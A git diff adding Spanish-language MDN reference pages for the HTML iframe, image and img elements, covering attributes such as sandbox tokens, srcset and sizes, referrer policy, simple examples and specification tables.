+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}}</dt>
+ <dd>Applies extra restrictions to the content in the frame. The value of the attribute can either be empty to apply all restrictions, or space-separated tokens to lift particular restrictions:
+ <ul>
+  <li><code>allow-forms</code>: Allows the resource to submit forms. If this keyword is not used, form submission is blocked.</li>
+  <li><code>allow-modals</code>: Lets the resource <a href="https://html.spec.whatwg.org/multipage/origin.html#sandboxed-modals-flag">open modal windows</a>.</li>
+  <li><code>allow-orientation-lock</code>: Lets the resource <a href="https://developer.mozilla.org/en-US/docs/Web/API/Screen/lockOrientation">lock the screen orientation</a>.</li>
+  <li><code>allow-pointer-lock</code>: Lets the resource use the <a href="https://developer.mozilla.org/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li>
+  <li><code>allow-popups</code>: Allows popups (such as <code>window.open()</code>, <code>target="_blank"</code>, or <code>showModalDialog()</code>). If this keyword is not used, the popup will silently fail to open.</li>
+  <li><code>allow-popups-to-escape-sandbox</code>: Lets the sandboxed document open new windows without those windows inheriting the sandboxing. For example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to.</li>
+  <li><code>allow-presentation</code>: Lets the resource start a <a href="https://developer.mozilla.org/en-US/docs/Web/API/PresentationRequest">presentation session</a>.</li>
+  <li><code>allow-same-origin</code>: If this token is not used, the resource is treated as being from a special origin that always fails the {{Glossary("same-origin policy")}}.</li>
+  <li><code>allow-scripts</code>: Lets the resource run scripts (but not create popup windows).</li>
+  <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}: Lets the resource request access to the parent's storage capabilities with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>.</li>
+  <li><code>allow-top-navigation</code>: Lets the resource navigate the top-level browsing context (the one named <code>_top</code>).</li>
+  <li><code>allow-top-navigation-by-user-activation</code>: Lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.</li>
+ </ul>
+
+ <div class="note"><strong>Notes about sandboxing:</strong>
+
+ <ul>
+  <li>When the embedded document has the same origin as the embedding page, it is <strong>strongly discouraged</strong> to use both <code>allow-scripts</code> and <code>allow-same-origin</code>, as that lets the embedded document remove the <code>sandbox</code> attribute — making it no more secure than not using the <code>sandbox</code> attribute at all.</li>
+  <li>Sandboxing is useless if the attacker can display content outside a sandboxed <code>iframe</code> — such as if the viewer opens the frame in a new tab. Such content should be also served from a <em>separate origin</em> to limit potential damage.</li>
+  <li>The <code>sandbox</code> attribute is unsupported in Internet Explorer 9 and earlier.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{ htmlattrdef("seamless") }} </dt>
+ <dd>This Boolean attribute indicates that the browser should render the inline frame in a way that makes it appear to be part of the containing document, for example by applying CSS styles that apply to the <code>&lt;iframe&gt;</code> to the contained document before styles specified in that document, and by opening links in the contained documents in the parent browsing context (unless another setting prevents this).</dd>
+ <dt>{{ htmlattrdef("src") }}</dt>
+ <dd>The URL of the page to embed.</dd>
+ <dt>{{ htmlattrdef("srcdoc") }} </dt>
+ <dd>The content of the page that the embedded context is to contain.</dd>
+ <dt>{{ htmlattrdef("width") }}</dt>
+ <dd>Indicates the width of the frame {{ HTMLVersionInline(5) }} in CSS pixels, or {{ HTMLVersionInline(4.01) }} in pixels or as a percentage.</dd>
+</dl>
+
+<h3 id="Atributos_obsoletos">Atributos obsoletos</h3>
+
+<p>Estos atributos están obsoletos y es posible que ya no sean compatibles con todos los agentes de usuario. No debe utilizarlos en contenido nuevo y tratar de eliminarlos del contenido existente.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">La alineación</span> <span class="hps">de este elemento</span> <span class="hps">con respecto al</span> <span class="hps">contexto que lo rodea.</span></span></dd>
+ <dt>{{ htmlattrdef("frameborder") }} {{ obsolete_inline("html5")}} </dt>
+ <dd>El valor 1 (por defecto) indica al navegador establecer una frontera entre este marco y todo otro marco. <span class="long_text" id="result_box" lang="es"><span class="gt-trans-draggable hps">El valor 0</span> <span class="gt-trans-draggable hps">indica</span> <span class="gt-trans-draggable hps">que el navegador no</span> establece<span class="gt-trans-draggable hps"> una</span> <span class="gt-trans-draggable hps">frontera</span> <span class="gt-trans-draggable hps">entre este marco y</span> <span class="gt-trans-draggable hps">otros marcos.</span></span></dd>
+ <dt>{{ htmlattrdef("longdesc") }} {{ obsolete_inline("html5")}} </dt>
+ <dd>Una URI de una descripción larga del marco. Debido al mal uso generalizado, esto no es útil para navegadores no visuales.</dd>
+ <dt>{{ htmlattrdef("marginheight") }} {{ obsolete_inline("html5") }} </dt>
+ <dd>La cantidad de espacio en píxeles entre el contenido del marco y sus márgenes superior e inferior.</dd>
+ <dt>{{ htmlattrdef("marginwidth") }} {{ obsolete_inline("html5") }} </dt>
+ <dd>La cantidad de espacio en píxeles entre el contenido del marco y sus márgenes izquierdo y derecho.</dd>
+ <dt>{{ htmlattrdef("scrolling") }} {{ obsolete_inline("html5") }} </dt>
+ <dd>Indica cuándo el navegador debe proporcionar una barra de desplazamiento para el marco:
+ <ul>
+  <li><code>auto</code>: Sólo cuando el contenido del marco es mayor que sus dimensiones.</li>
+  <li><code>yes</code>: Muestra siempre una barra de desplazamiento.</li>
+  <li><code>no</code>: No muestr la barra de desplazamiento nunca.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Atributos_no_estándar">Atributos no estándar</h3>
+
+<dl>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
+ <dd>
+ <div class="blockIndicator note">
+ <p>See {{bug(1318532)}} for exposing this to WebExtensions in Firefox.</p>
+ </div>
+ Makes the <code>&lt;iframe&gt;</code> act like a top-level browser window. See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Gecko/Chrome/API/Browser_API">Browser API</a> for details.<br>
+ <strong>Available only to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+ <dt>{{ htmlattrdef("mozallowfullscreen") }} {{ non-standard_inline() }}</dt>
+ <dd>In Gecko 9.0 or later, this attribute can be set to <code>true</code> if the frame is allowed to be placed into full screen mode by calling its {{ domxref("element.mozRequestFullScreen()") }} method. If this isn't set, the element can't be placed into full screen mode.</dd>
+ <dt>{{ htmlattrdef("webkitallowfullscreen") }} {{ non-standard_inline() }}</dt>
+ <dd>In Chrome 17 or later (and maybe earlier), this attribute can be set to <code>true</code> if the frame is allowed to be placed into full screen mode by calling its {{ domxref("element.webkitRequestFullScreen()") }} method. If this isn't set, the element can't be placed into full screen mode.</dd>
+ <dt>{{ htmlattrdef("mozapp") }} {{ non-standard_inline() }}</dt>
+ <dd>For frames hosting an <a href="/en/Apps" title="https://developer.mozilla.org/en/OpenWebApps">open web app</a>, this specifies the URL of the <a href="/en/Apps/Manifest" title="https://developer.mozilla.org/en/Apps/Manifest">app manifest</a>. This ensures that the app is loaded with the right permissions. See <a href="/en/DOM/Using_the_Browser_API" title="https://developer.mozilla.org/en/DOM/Using_the_Browser_API">Using the Browser API</a> for details. Available in Gecko 13.0 and later.</dd>
+ <dt>{{ htmlattrdef("remote") }} {{ non-standard_inline() }}</dt>
+ <dd>Load the frame's page in a separate content process.</dd>
+</dl>
+
+<h2 id="Secuencia_de_comandos">Secuencia de comandos</h2>
+
+<p>Inline frames, like {{HTMLElement("frame")}} elements, are included in the {{domxref("window.frames")}} pseudo-array.</p>
+
+<p>With the DOM {{domxref("HTMLIFrameElement")}} object, scripts can access the {{domxref("window")}} object of the framed resource via the {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} property. The {{domxref("HTMLIFrameElement.contentDocument", "contentDocument")}} property refers to the <code>document</code> inside the <code>&lt;iframe&gt;</code>, same as <code>contentWindow.document</code>.</p>
+
+<p>From the inside of a frame, a script can get a reference to its parent window with {{domxref("window.parent")}}.</p>
+
+<p>Script access to a frame's content is subject to the {{Glossary("same-origin policy")}}. Scripts cannot access most properties in other <code>window</code> objects if the script was loaded from a different origin, including scripts inside a frame accessing the frame's parent. Cross-origin communication can be achieved using {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Example1" name="Example1">Un &lt;iframe&gt; simple</h3>
+
+<p>Un <code>&lt;iframe&gt;</code> en acción. Después de crear el marco, cuando el usuario hace clic en un botón, su título se muestra en una alerta.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html" title="iframe Example 1" width="400" height="300"&gt;
+  &lt;p&gt;Your browser does not support iframes.&lt;/p&gt;
+&lt;/iframe&gt;</code></pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Example1', 640,400)}}</p>
+
+<h3 id="Example2" name="Example2">Abrir un enlace en un &lt;iframe&gt; en otra pestaña</h3>
+
+<p>En este ejemplo, se muestra un mapa de Google en un marco.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre><code>&lt;iframe id="Example2"
+    title="iframe Example 2"
+    width="400" height="300"
+    style="border:none"
+    src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593&amp;output=embed"&gt;
+&lt;/iframe&gt;</code></pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Example2', 640, 400)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Orientation')}}</td>
+   <td>{{Spec2('Screen Orientation')}}</td>
+   <td>Adds <code>allow-orientation-lock</code> to the <code>sandbox</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Presentation','#sandboxing-and-the-allow-presentation-keyword','allow-presentation')}}</td>
+   <td>{{Spec2('Presentation')}}</td>
+   <td>Adds <code>allow-presentation</code> to the <code>sandbox</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes">Notes</h2>
+
+<div class="geckoVersionNote">
+<p>{{ gecko_callout_heading("6.0") }}</p>
+
+<p>Starting in Gecko 6.0 {{ geckoRelease("6.0") }}, rendering of inline frames correctly respects the borders of their containing element when they're rounded using {{ cssxref("border-radius") }}.</p>
+</div>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.iframe", 3)}}</p>
diff --git a/files/es/web/html/elemento/image/index.html b/files/es/web/html/elemento/image/index.html
new file mode 100644
index 0000000000..e48d44488f
--- /dev/null
+++ b/files/es/web/html/elemento/image/index.html
@@ -0,0 +1,18 @@
+---
+title: <image>
+slug: Web/HTML/Elemento/image
+tags:
+  - HTML
+translation_of: Web/HTML/Element/image
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML <font face="Consolas, Liberation Mono, Courier, monospace"><code>&lt;image&gt;</code> fue </font>un elemento experimental diseñado para mostrar imágenes . Nuca fue implementado y el elemento estándar {{HTMLElement("img")}} debe de ser usado .</p>
+
+<div class="note">
+<p><strong>No usar esto ! </strong>Para mostrar imagenes , usar el elemento estándar {{HTMLElement("img")}} .</p>
+</div>
+
+<p>Notar que hasta Firefox 22 , aunque no era soportado , un elemento <code>&lt;image&gt;</code> era asociado a un {{domxref("HTMLSpanElement")}} . Después fue arreglado y ahora es asociado a {{domxref("HTMLElement")}} , como es solicitado por la especificación .</p>
diff --git a/files/es/web/html/elemento/img/index.html b/files/es/web/html/elemento/img/index.html
new file mode 100644
index 0000000000..6345af1848
--- /dev/null
+++ b/files/es/web/html/elemento/img/index.html
@@ -0,0 +1,339 @@
+---
+title: img
+slug: Web/HTML/Elemento/img
+tags:
+  - Contenido
+  - Elemento
+  - HTML
+  - Incrustado
+translation_of: Web/HTML/Element/img
+---
+<p>El elemento de imagen HTML <span class="seoSummary"><code><strong>&lt;img&gt;</strong></code></span> representa una imagen en el documento.</p>
+
+<div class="note">
+<p><strong>Nota:</strong><br>
+ Los navegadores no siempre muestran la imagen a la que el elemento hace referencia. Es el caso de los navegadores no gráficos (incluyendo aquellos usados por personas con problemas de visión), sí el usuario elige no mostrar la imagen, o sí el navegador es incapaz de mostrarla porque no es válida o <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/img#Supported_image_formats">soportada</a>. En ese caso, el navegador la reemplazará con el texto definido en el atributo {{htmlattrdef("alt", "img")}}.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories">Cotenido de las categorias</a></th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content">Contenido dinámico</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">contenido estático</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Embedded_content">contenido incrustado</a>, contenido palpable. Si el elemento tiene un atributo {{htmlattrdef("usemap", "img")}}, it also is a part of the interactive content category.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, es {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>Debe tener etiqueta de de inicio pero no tiene por qué haber de cierre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte contenido incrustado.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLImageElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye atributos globales.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecatedGeneric('inline','HTML4.01')}}, {{obsoleteGeneric('inline','HTML5')}} Use the {{cssxref('vertical-align')}} CSS property</dt>
+ <dd>Alineamiento de la texto respecto al contexto que la rodea.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Este atributo define el texto alternativo que describe la imagen, texto que los usuarios verán si la URL de la imagen es errónea o la imagen tiene un <a href="/es/docs/Web/HTML/Elemento/img$edit#Supported_image_formats">formato no soportado</a> o si la imagen aún no se ha descargado.</dd>
+ <dt>
+ <div class="note">
+ <p><strong>Nota: </strong>Omitir este atributo indica que la imagen es una parte clave del contenido, y no tiene equivalencia textual. Establecer este atributo como cadena vacía indica que la imagen no es una parte clave del contenido; los navegadores no gráficos pueden omitirlo.</p>
+ </div>
+ </dt>
+ <dt>{{htmlattrdef("border")}} {{deprecatedGeneric('inline','HTML4.01')}}, {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>Anchura del borde alrededor de la imagen.</dd>
+ <dt>{{htmlattrdef("crossorigin")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Este atributo enumerado indica si la búsqueda de la imagen debe ser por CORS o no. <a href="https://developer.mozilla.org/es/docs/Web/HTML/Imagen_con_CORS_habilitado">Imagen hablidata CORS</a> puede ser usada en el elemento {{HTMLElement("canvas")}} sin ser pintada. Los valores permitidos son:
+ <dl>
+  <dt><code>"anonymous"</code></dt>
+  <dd>Una petición cross-origin (i.e., with <code>Origin:</code> HTTP header) es realizada. Sin embargo, no fueron enviadas credenciales "<em>(i.e., no cookie, no X.509 certificate, and no HTTP Basic authentication is sent)</em>". Sí el servidor no emite credenciales al sitio de origen (no ajustando el <code>Access-Control-Allow-Origin:</code> HTTP header), la imagen será pintada y su uso restringido.</dd>
+  <dt><code>"use-credentials"</code></dt>
+  <dd>Una petición cross-origin (i.e., with <code>Origin:</code> HTTP header) es realizada con credenciales (i.e., a cookie, a certificate, and HTTP Basic authentication is performed). Sí el servidor no emite credenciales al sitio de origen (a través del <code>Access-Control-Allow-Credentials:</code> HTTP header), la imagen será pintada y su uso restringido.</dd>
+ </dl>
+
+ <p>Cuando no existe, el recurso es buscado sin petición CORS (i.e., <code>sin enviar el Origen:</code> HTTP header) , previniendo el uso no pintado del elemento {{HTMLElement('canvas')}}. Si es inválido, se maneja como si se hubiese usado <strong>anonymous</strong>. Ver <a href="https://developer.mozilla.org/es/docs/HTML/CORS_settings_attributes">atributos de configuración CORS</a> para más información.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La altura de la imagen en píxeles CSS {{HTMLVersionInline(5)}} o píxeles o como porcentaje en {{HTMLVersionInline(4)}}.</dd>
+ <dt>{{htmlattrdef("hspace")}} {{deprecatedGeneric('inline','HTML4.01')}}, {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>El número de píxeles de espaciado a la izquierda y la derecha de la imagen.</dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>Este atributo boleano indica que la imagen es parte del mapa del lado del servidor. Así que, se envían las coordenadas precisas de un clic.
+ <div class="note">
+ <p><strong>Nota: </strong>Este atributo está permitido solo si el elemento<code> &lt;img&gt;</code> es descendiente de un elemento {{htmlelement("a")}} con un atributo {{htmlattrxref("href","a")}} válido.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("longdesc")}}</dt>
+ <dd>La URL como descripción de una imagen mostrada, complementa al texto de {{htmlattrdef("alt", "img")}}.</dd>
+ <dt>{{htmlattrdef("name")}} {{deprecatedGeneric('inline','HTML4.01')}}, {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>El nombre para el elemento. Soportado en {{HTMLVersionInline(4)}} solo para compatibilidad con versiones anteriores. En su lugar, usa el atributo <code><strong>id</strong></code>.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Una cadena indicando que referencia usar cuando buscas un recurso:
+ <ul>
+  <li><code>"no-referrer"</code>: la cabecera no se envia.</li>
+  <li>"<code>no-referrer-when-downgrade</code>": la cabecera no será enviada cuando navegas hacia un origen sin TLS (HTTPS). <span id="result_box" lang="es"><span class="hps">E</span>s<span class="hps"> el comportamiento</span> <span class="hps">predeterminado</span><span class="hps">, si no se especifica en ninguna política.</span></span></li>
+  <li><code>"origin"</code>: el referente será el origen de la página; lo que sería el esquema, el anfitrión (host) y el puerto.</li>
+  <li>"origin-when-cross-origin": navega hacia otro origen limitado por el esquema, el anfitrión y el puerto, mientras navegas en el mismo origen incluirá el camino del referente.</li>
+  <li><code>"unsafe-url"</code>: el referente incluirá el origen y el camino (pero no el fragment, contraseña, o nombre de usuario). Este caso es arriegasdo porque puede haber una fuga del origen o el camino desde los recursos protegidos por TLS desde orígenes inseguros.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Una lista de una o más cadenas separadas por comas indicando el tamaño de la fuente. Cada tamaño de la fuente consiste en:
+ <ol>
+  <li>Codición de medios. Debe omitirse en el último ítem.</li>
+  <li>Valor del tamaño.</li>
+ </ol>
+
+ <p>El valor del tamaño de la fuente especifica el tamaño de la imagen incrustada. Se usa el tamaño actual de la fuente para seleccionar las fuentes soportadas por el atributo <code>srcset</code>, cuando esas fuentes son descritas usando el ancho (width). El tamaño de la fuente afecta al tamaño de la imagen (la imagen muestra tamaño si no se aplican estilos CSS). Si no hay atributo <code>srcset</code>, o no contiene valores con el ancho definido, entonces el atributo sizes no funciona.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>La URL de la imagen. Este atributo es obligatorio para el elemento &lt;img&gt;. En navegadores que soportan <code>srcset</code>, <code>src</code> es tratado como imagen candidata con una densidad del píxel <code>1x</code> sino una imagen estará definida en <code>srcset</code> o <code>srcset</code> contiene ancho.</dd>
+ <dt></dt>
+ <dt>{{htmlattrdef("srcset")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Una lista de una o más cadenas separadas por comas indicando las posibles fuentes para usar. Cada cadena está compuesta por:
+ <ol>
+  <li>URL de la imagen</li>
+  <li>Opcionalmente, espacios en blanco seguidos de:
+   <ul>
+    <li>Un ancho, que es un entero positivo seguido directamente por <code>'w'</code>. El ancho está dividido por el tamaño de la fuente dada en el atributo <code>sizes</code> para calcular la densidad del píxel.</li>
+    <li>Densidad del píxel, un positivo decimal seguido directamente de <code>'x'</code>.</li>
+   </ul>
+  </li>
+ </ol>
+
+ <p>Si no hay descriptores especificados, la fuente es asignada por defecto a <code>1x</code>.</p>
+
+ <p>Es inválido mezclar ancho y densidad del píxel en el mismo atributo <code>srcset</code>. Descriptores duplicados (por ejemplo, dos fuentes en el mismo <code>srcset</code> definidos ambos con '<code>2x</code>') son inválidos, también.</p>
+
+ <p>Los agentes de usuario son discretos al elegir cualquiera de las fuentes disponibles. <span id="result_box" lang="es"><span class="hps">Esto les proporciona</span> <span class="hps">un margen</span> <span class="hps">significativo para</span> <span class="hps">adaptar su</span> <span class="hps">selección basada en</span> <span class="hps">cosas como</span> <span class="hps">las preferencias del usuario</span> <span class="hps">o las condiciones</span> <span class="hps">de ancho de banda</span><span>.</span></span></p>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>El ancho de la imagen en píxeles CSS {{HTMLVersionInline(5)}}, o píxeles o porcentaje en {{HTMLVersionInline(4)}}.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>La URL parcial (empezando con '#') de un <a href="https://developer.mozilla.org/en-US/docs/HTML/Element/map">mapa de imagea</a> asociado a un elemento.
+ <div class="note">
+ <p><strong>Nota: </strong>No puedes usar este atributo si el elemento <code>&lt;img&gt;</code> es descendiente de un elemento {{htmlelement("a")}} o {{HTMLElement("button")}}.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("vspace")}} {{deprecatedGeneric('inline','HTML4.01')}}, {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>El número de píxeles de espacio blanco insertado sobre y bajo la imagen.</dd>
+</dl>
+
+<h2 id="Formatos_de_imagen_soportada">Formatos de imagen soportada</h2>
+
+<p>El estándar de HTML no ofrece una lista de formatos de imagen soportados, de modo que cada agente de usuario soporta diferentes conjuntos de formatos. Gecko soporta:</p>
+
+<ul>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/JPEG">JPEG</a></li>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/Graphics_Interchange_Format">GIF</a>, including animated GIFs</li>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Animated_PNG_graphics">APNG</a> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/SVG">SVG</a> {{gecko_minversion_inline("2.0")}}</li>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/BMP_file_format">BMP</a></li>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/ICO_%28file_format%29">BMP ICO</a></li>
+ <li><a class="external external-icon" href="http://en.wikipedia.org/wiki/ICO_%28file_format%29">PNG ICO</a> {{gecko_minversion_inline("9.0")}}</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong><br>
+ Soporte para formato <a class="external external-icon" href="http://en.wikipedia.org/wiki/X_BitMap">XBM</a> fue eliminado en Gecko 1.9.2.</p>
+</div>
+
+<h2 id="Interacción_con_CSS">Interacción con CSS</h2>
+
+<p>Respecto a CSS, <code>una &lt;img&gt;</code> es un <a href="https://developer.mozilla.org/es/docs/Web/CSS/Elemento_reemplazo">elemento de reemplazo</a>. No tiene base, asi que cuando las imágenes se usan en un contexto de formato en línea con {{cssxref("vertical-align")}}: <code>baseline</code>, el bajo de la imagen se posa sobre la base del contenedor.</p>
+
+<p>Dependiendo de su tipo, una imagen puede tener ancho y alto intrínseco, pero no necesariamente. Por ejempo, las imagenes SVG no tienen dimensiones intrínsecas.</p>
+
+<h2 id="Ejemplo_1">Ejemplo 1</h2>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mdn-logo-sm.png<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>MDN<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><img alt="MDN" src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"></p>
+
+<h2 id="Ejemplo_2_Enlace_con_imagen">Ejemplo 2: Enlace con imagen</h2>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>https://developer.mozilla.org/<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mdn-logo-sm.png<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>MDN<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><a href="https://developer.mozilla.org/"><img alt="MDN" src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"> </a></p>
+
+<h2 id="Ejemplo_3_Uso_del_atributo_srcset">Ejemplo 3: Uso del atributo <code>srcset</code></h2>
+
+<p>El atributo <code>src</code> es un candidato en agentes de usuario <code>1x</code> que soporta <code>srcset.</code></p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mdn-logo-sm.png<span class="punctuation token">"</span></span>
+      <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>MDN<span class="punctuation token">"</span></span>
+      <span class="attr-name token">srcset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>mdn-logo-HD.png 2x<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Ejemplo_4_Uso_de_atributos_srcset_y_sizes">Ejemplo 4: Uso de atributos <code>srcset</code> y <code>sizes</code></h2>
+
+<p>El atributo<code> src</code> es ignorado en agentes de usuario que soportan <code>srcset</code> cuando usan descriptores <code>'w'</code>. Cuando la condición de media <code>(min-width: 600px)</code> encaja, la imagen será 200px de ancho, de otra manera será 50vw de ancho (50% del ancho del dispositivo).</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>clock-demo-thumb-200.png<span class="punctuation token">"</span></span>
+      <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Clock<span class="punctuation token">"</span></span>
+      <span class="attr-name token">srcset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>clock-demo-thumb-200.png 200w, clock-demo-thumb-400.png 400w<span class="punctuation token">"</span></span>
+      <span class="attr-name token">sizes</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>(min-width: 600px) 200px, 50vw<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Añadida la política del atributo<code> referrer</code></td>
+  </tr>
+  <tr>
